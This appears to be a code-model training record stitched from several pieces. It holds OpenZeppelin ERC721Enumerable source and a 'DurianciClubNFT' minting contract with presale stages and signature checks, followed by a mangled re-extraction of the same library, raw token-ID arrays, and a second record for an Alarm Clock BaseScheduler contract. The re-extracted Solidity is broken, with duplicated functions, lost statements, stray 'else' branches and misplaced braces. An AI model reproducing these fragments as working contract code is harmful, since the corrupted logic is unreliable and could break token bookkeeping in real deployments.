Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/drcc.sol contract DurianciClubNFT is ERC721Enumerable, Ownable { using Strings for uint256; using SafeMath for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.05 ether; uint256 public maxSupply = 10000; uint256 public phaseSellingLimit1 = 3300; uint256 public phaseSellingLimit2 = 3300; uint256 public phaseSellingLimit3 = 2920; uint256 public totalmint1 = 0; uint256 public totalmint2 = 0; uint256 public totalmint3 = 0; uint256 public presalesMaxToken = 2; bool public paused = false; bool public revealed = false; uint256 private totalReserve = 480; uint256 private reserved = 0; uint256 private sold = 0; uint16 public salesStage = 1; //1-presales1 , 2-presales2 , 3-presales3 , 4-public address payable companyWallet; address private signerAddress = 0xD6321754CdFDd74298F68e79E0c09b93E2dB15d0; mapping(address => uint256) public addressMintedBalance; mapping (uint256 => bool) public reserveNo; mapping(uint256 => uint256) private _presalesPrice; mapping(address => uint256) public presales1minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public presales2minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public presales3minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public presales4minted; // To check how many tokens an address has minted during presales mapping(address => uint256) public minted; // To check how many tokens an address has minted mapping (uint256 => address) public creators; event URI(string _amount, uint256 indexed _id); event CurrentSalesStage(uint indexed _salesstage, uint256 indexed _id); constructor( ) ERC721("Durianci Club NFT", "DRCC NFT") { setBaseURI("https://api.durianci.club/nft/"); setNotRevealedURI("https://api.durianci.club/nft/"); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } /** * @dev Creates a new token type and assigns _initialSupply to an address * NOTE: remove onlyOwner if you want third parties to create new tokens on your contract (which may change your IDs) * @param _initialOwner address of the first owner of the token * @param _initialSupply amount to supply the first owner * @param _uri Optional URI for this token type * @return The newly created token ID */ function reserve( address _initialOwner, uint256 _initialSupply, string memory _uri // bytes memory _data ) public onlyOwner returns (uint256) { require(reserved + _initialSupply <= totalReserve, "Reserve Empty"); sold += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { uint256 supply = reserved; reserved++; uint256 _id = reserved; if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = msg.sender; _safeMint(_initialOwner, supply + 1); } return 0; } // Function to receive Ether. msg.data must be empty receive() external payable {} // Fallback function is called when msg.data is not empty fallback() external payable {} function presales( address _initialOwner, uint256 _mintAmount, bytes calldata _sig // bytes calldata _data ) external payable returns (uint256) { require(salesStage == 1 || salesStage == 2 || salesStage == 3, "Presales is closed"); if(salesStage == 1){ require(presales1minted[_initialOwner] + _mintAmount <= presalesMaxToken, "Max 2 Token Per User"); require(totalmint1 + _mintAmount <= phaseSellingLimit1, "phase NFT limit exceeded"); totalmint1 += _mintAmount; }else if(salesStage == 2){ require(presales2minted[_initialOwner] + _mintAmount <= presalesMaxToken, "Max 2 Token Per User"); require(totalmint2 + _mintAmount <= phaseSellingLimit2, "phase NFT limit exceeded"); totalmint2 += _mintAmount; }else if(salesStage == 3){ require(presales3minted[_initialOwner] + _mintAmount <= presalesMaxToken, "Max 2 Token Per User"); require(totalmint3 + _mintAmount <= phaseSellingLimit3, "phase NFT limit exceeded"); totalmint3 += _mintAmount; } uint256 supply = totalSupply().add(totalReserve).sub(reserved); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(minted[_initialOwner] + _mintAmount <= maxSupply, "Max Token Per User"); require(isValidData(addressToString(_initialOwner), _sig), addressToString(_initialOwner)); require(msg.value == _mintAmount.mul(cost), "Incorrect msg.value"); sold += _mintAmount; if(salesStage == 1){ presales1minted[_initialOwner] += _mintAmount; }else if(salesStage == 2){ presales2minted[_initialOwner] += _mintAmount; } else if(salesStage == 3){ presales3minted[_initialOwner] += _mintAmount; } minted[_initialOwner] += _mintAmount; for (uint256 i = 0; i < _mintAmount; i++) { uint256 _id = totalSupply().add(totalReserve).add(1).sub(reserved); creators[_id] = _initialOwner; addressMintedBalance[_initialOwner]++; _safeMint(_initialOwner, _id); emit CurrentSalesStage(salesStage, _id); } return 0; } function publicsales( address _initialOwner, uint256 _mintAmount, string calldata _uri // bytes calldata _data ) external payable returns (uint256) { require(salesStage == 4 , "Public Sales Is Closed"); uint256 supply = totalSupply().add(totalReserve).sub(reserved); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(presales4minted[_initialOwner] + _mintAmount <= presalesMaxToken, "Max 2 Token Per User"); presales4minted[_initialOwner] += _mintAmount; require(msg.value == _mintAmount.mul(cost), "Incorrect msg.value"); sold += _mintAmount; minted[_initialOwner] += _mintAmount; for (uint256 i = 0; i < _mintAmount; i++) { uint256 _id = totalSupply().add(totalReserve).add(1).sub(reserved); if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = _initialOwner; addressMintedBalance[_initialOwner]++; _safeMint(_initialOwner, _id); emit CurrentSalesStage(salesStage, _id); } return 0; } function setSalesStage( uint16 stage ) public onlyOwner { salesStage = stage; } function setCompanyWallet( address payable newWallet ) public onlyOwner { companyWallet = newWallet; } function ownerMint( address _initialOwner, uint256 _initialSupply, string calldata _uri // bytes calldata _data ) external onlyOwner returns (uint256) { require(sold + _initialSupply <= maxSupply, "Max Token Minted"); sold += _initialSupply; for (uint256 i = 0; i < _initialSupply; i++) { uint256 _id = totalSupply().add(totalReserve).add(1).sub(reserved); if (bytes(_uri).length > 0) { emit URI(_uri, _id); } creators[_id] = msg.sender; addressMintedBalance[_initialOwner]++; _safeMint(_initialOwner, _id); emit CurrentSalesStage(salesStage, _id); } return 0; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setPhaseSellingLimit1(uint256 _newAmount) public onlyOwner() { phaseSellingLimit1 = _newAmount; } function setPhaseSellingLimit2(uint256 _newAmount) public onlyOwner() { phaseSellingLimit2 = _newAmount; } function setPhaseSellingLimit3(uint256 _newAmount) public onlyOwner() { phaseSellingLimit3 = _newAmount; } function setNFTPrice(uint256 _newAmount) public onlyOwner() { cost = _newAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } function toBytes(address a) public pure returns (bytes memory b){ assembly { let m := mload(0x40) a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a)) mstore(0x40, add(m, 52)) b := m } } function addressToString(address _addr) public pure returns(string memory) { bytes32 value = bytes32(uint(uint160(_addr))); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = "0"; str[1] = "x"; for (uint i = 0; i < 20; i++) { str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))]; str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))]; } return string(str); } function toAsciiString(address x) public pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char( bytes1 b ) internal pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; bytes memory bytesArray = new bytes(64); for (i = 0; i < bytesArray.length; i++) { uint8 _f = uint8(_bytes32[i/2] & 0x0f); uint8 _l = uint8(_bytes32[i/2] >> 4); bytesArray[i] = toByte(_f); i = i + 1; bytesArray[i] = toByte(_l); } return string(bytesArray); } function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function splitSignature(bytes memory sig) public pure returns (uint8, bytes32, bytes32) { require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } return (v, r, s); } function recoverSigner(bytes32 message, bytes memory sig) public pure returns (address) { uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(sig); return ecrecover(message, v, r, s); } function isValidData(string memory _word, bytes memory sig) public view returns(bool){ bytes32 message = keccak256(abi.encodePacked(_word)); return (recoverSigner(message, sig) == signerAddress); } function toByte(uint8 _uint8) public pure returns (bytes1) { if(_uint8 < 10) { return bytes1(_uint8 + 48); } else { return bytes1(_uint8 + 87); } } }
File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)* @dev This implements an optional extension of {ERC721} defined in the EIP that adds enumerability of all the token ids in the contract as well as all token ids owned by each account./ Mapping from owner to list of owned token IDs Mapping from token ID to index of the owner tokens list Array with all token ids, used for enumeration Mapping from token id to position in the allTokens array
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function _beforeTokenTransfer( address from, address to, uint256 tokenId } function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } } else if (from != to) { function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); } } } else if (to != from) { function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; } delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; } delete _ownedTokens[from][lastTokenIndex]; } delete _ownedTokensIndex[tokenId]; function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; delete _allTokensIndex[tokenId]; _allTokens.pop(); } }
8,996
[ 1, 812, 30, 632, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 2316, 19, 654, 39, 27, 5340, 19, 9489, 19, 654, 39, 27, 5340, 3572, 25121, 18, 18281, 3502, 62, 881, 84, 292, 267, 30131, 331, 24, 18, 24, 18, 20, 261, 2316, 19, 654, 39, 27, 5340, 19, 9489, 19, 654, 39, 27, 5340, 3572, 25121, 18, 18281, 13, 225, 1220, 4792, 392, 3129, 2710, 434, 288, 654, 39, 27, 5340, 97, 2553, 316, 326, 512, 2579, 716, 4831, 3557, 2967, 434, 777, 326, 1147, 3258, 316, 326, 6835, 487, 5492, 487, 777, 1147, 3258, 16199, 635, 1517, 2236, 18, 19, 9408, 628, 3410, 358, 666, 434, 16199, 1147, 7115, 9408, 628, 1147, 1599, 358, 770, 434, 326, 3410, 2430, 666, 1510, 598, 777, 1147, 3258, 16, 1399, 364, 16836, 9408, 628, 1147, 612, 358, 1754, 316, 326, 777, 5157, 526, 2, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 27, 5340, 3572, 25121, 353, 4232, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 3572, 25121, 288, 203, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 3719, 3238, 389, 995, 329, 5157, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 3238, 389, 995, 329, 5157, 1016, 31, 203, 203, 565, 2254, 5034, 8526, 3238, 389, 454, 5157, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 2254, 5034, 13, 3238, 389, 454, 5157, 1016, 31, 203, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 97, 203, 203, 203, 203, 203, 203, 203, 565, 445, 6146, 1358, 12, 3890, 24, 1560, 548, 13, 1071, 1476, 5024, 3849, 12, 45, 654, 39, 28275, 16, 4232, 39, 27, 5340, 13, 1135, 261, 6430, 13, 288, 203, 3639, 327, 1560, 548, 422, 618, 12, 45, 654, 39, 27, 5340, 3572, 25121, 2934, 5831, 548, 747, 2240, 18, 28064, 1358, 12, 5831, 548, 1769, 203, 565, 289, 203, 203, 565, 445, 1147, 951, 5541, 21268, 12, 2867, 3410, 16, 2254, 5034, 770, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2583, 12, 1615, 411, 4232, 39, 27, 5340, 18, 12296, 951, 12, 8443, 3631, 315, 654, 39, 27, 5340, 3572, 25121, 30, 3410, 770, 596, 434, 4972, 8863, 203, 3639, 327, 389, 995, 329, 5157, 63, 8443, 6362, 1615, 15533, 203, 565, 289, 203, 2 ]
pragma solidity ^0.4.18; import "contracts/Interface/SchedulerInterface.sol"; import "contracts/Library/RequestScheduleLib.sol"; import "contracts/Library/SchedulerLib.sol"; /** * @title BaseScheduler * @dev The foundational contract which provides the API for scheduling future transactions on the Alarm Client. */ contract BaseScheduler is SchedulerInterface { using SchedulerLib for SchedulerLib.FutureTransaction; /* * @dev Fallback function to be able to receive ether. This can occur * legitimately when scheduling fails due to a validation error. */ function() public payable {} /// Event that bubbles up the address of new requests made with this scheduler. event NewRequest(address request); /** * @dev Schedules a new TransactionRequest using the 'full' parameters. * @param _toAddress The address destination of the transaction. * @param _callData The bytecode that will be included with the transaction. * @param _uintArgs [0] The callGas of the transaction. * @param _uintArgs [1] The value of ether to be sent with the transaction. * @param _uintArgs [2] The size of the execution window of the transaction. * @param _uintArgs [3] The (block or timestamp) of when the execution window starts. * @param _uintArgs [4] The gasPrice which will be used to execute this transaction. * @param _uintArgs [5] The donation value attached to this transaction. * @param _uintArgs [6] The payment value attached to this transaction. * @return The address of the new TransactionRequest. */ function schedule(address _toAddress, bytes _callData, uint[7] _uintArgs) doReset public payable returns (address newRequest) { futureTransaction.toAddress = _toAddress; futureTransaction.callData = _callData; futureTransaction.callGas = _uintArgs[0]; futureTransaction.callValue = _uintArgs[1]; futureTransaction.windowSize = _uintArgs[2]; futureTransaction.windowStart = _uintArgs[3]; futureTransaction.gasPrice = _uintArgs[4]; futureTransaction.donation = _uintArgs[5]; futureTransaction.payment = _uintArgs[6]; futureTransaction.temporalUnit = temporalUnit; newRequest = futureTransaction.schedule(factoryAddress); require( newRequest != 0x0 ); NewRequest(newRequest); /// Automatically returns newRequest } }
* @title BaseScheduler @dev The foundational contract which provides the API for scheduling future transactions on the Alarm Client./
contract BaseScheduler is SchedulerInterface { using SchedulerLib for SchedulerLib.FutureTransaction; event NewRequest(address request); function schedule(address _toAddress, bytes _callData, uint[7] _uintArgs) doReset public payable returns (address newRequest) function() public payable {} { futureTransaction.toAddress = _toAddress; futureTransaction.callData = _callData; futureTransaction.callGas = _uintArgs[0]; futureTransaction.callValue = _uintArgs[1]; futureTransaction.windowSize = _uintArgs[2]; futureTransaction.windowStart = _uintArgs[3]; futureTransaction.gasPrice = _uintArgs[4]; futureTransaction.donation = _uintArgs[5]; futureTransaction.payment = _uintArgs[6]; futureTransaction.temporalUnit = temporalUnit; newRequest = futureTransaction.schedule(factoryAddress); require( newRequest != 0x0 ); NewRequest(newRequest); } }
13,096,127
[ 1, 2171, 11870, 225, 1021, 1392, 8371, 6835, 1492, 8121, 326, 1491, 364, 21895, 3563, 8938, 603, 326, 2262, 4610, 2445, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3360, 11870, 353, 12620, 1358, 288, 203, 565, 1450, 12620, 5664, 364, 12620, 5664, 18, 4118, 3342, 31, 203, 203, 203, 565, 871, 11378, 12, 2867, 590, 1769, 203, 203, 565, 445, 4788, 12, 2867, 282, 389, 869, 1887, 16, 203, 8227, 1731, 377, 389, 1991, 751, 16, 203, 8227, 2254, 63, 27, 65, 282, 389, 11890, 2615, 13, 203, 3639, 741, 7013, 203, 3639, 1071, 8843, 429, 1135, 261, 2867, 7428, 13, 203, 565, 445, 1435, 1071, 8843, 429, 2618, 203, 565, 288, 203, 3639, 3563, 3342, 18, 869, 1887, 377, 273, 389, 869, 1887, 31, 203, 3639, 3563, 3342, 18, 1991, 751, 1377, 273, 389, 1991, 751, 31, 203, 3639, 3563, 3342, 18, 1991, 27998, 4202, 273, 389, 11890, 2615, 63, 20, 15533, 203, 3639, 3563, 3342, 18, 1991, 620, 377, 273, 389, 11890, 2615, 63, 21, 15533, 203, 3639, 3563, 3342, 18, 5668, 1225, 565, 273, 389, 11890, 2615, 63, 22, 15533, 203, 3639, 3563, 3342, 18, 5668, 1685, 282, 273, 389, 11890, 2615, 63, 23, 15533, 203, 3639, 3563, 3342, 18, 31604, 5147, 1377, 273, 389, 11890, 2615, 63, 24, 15533, 203, 3639, 3563, 3342, 18, 19752, 367, 1377, 273, 389, 11890, 2615, 63, 25, 15533, 203, 3639, 3563, 3342, 18, 9261, 4202, 273, 389, 11890, 2615, 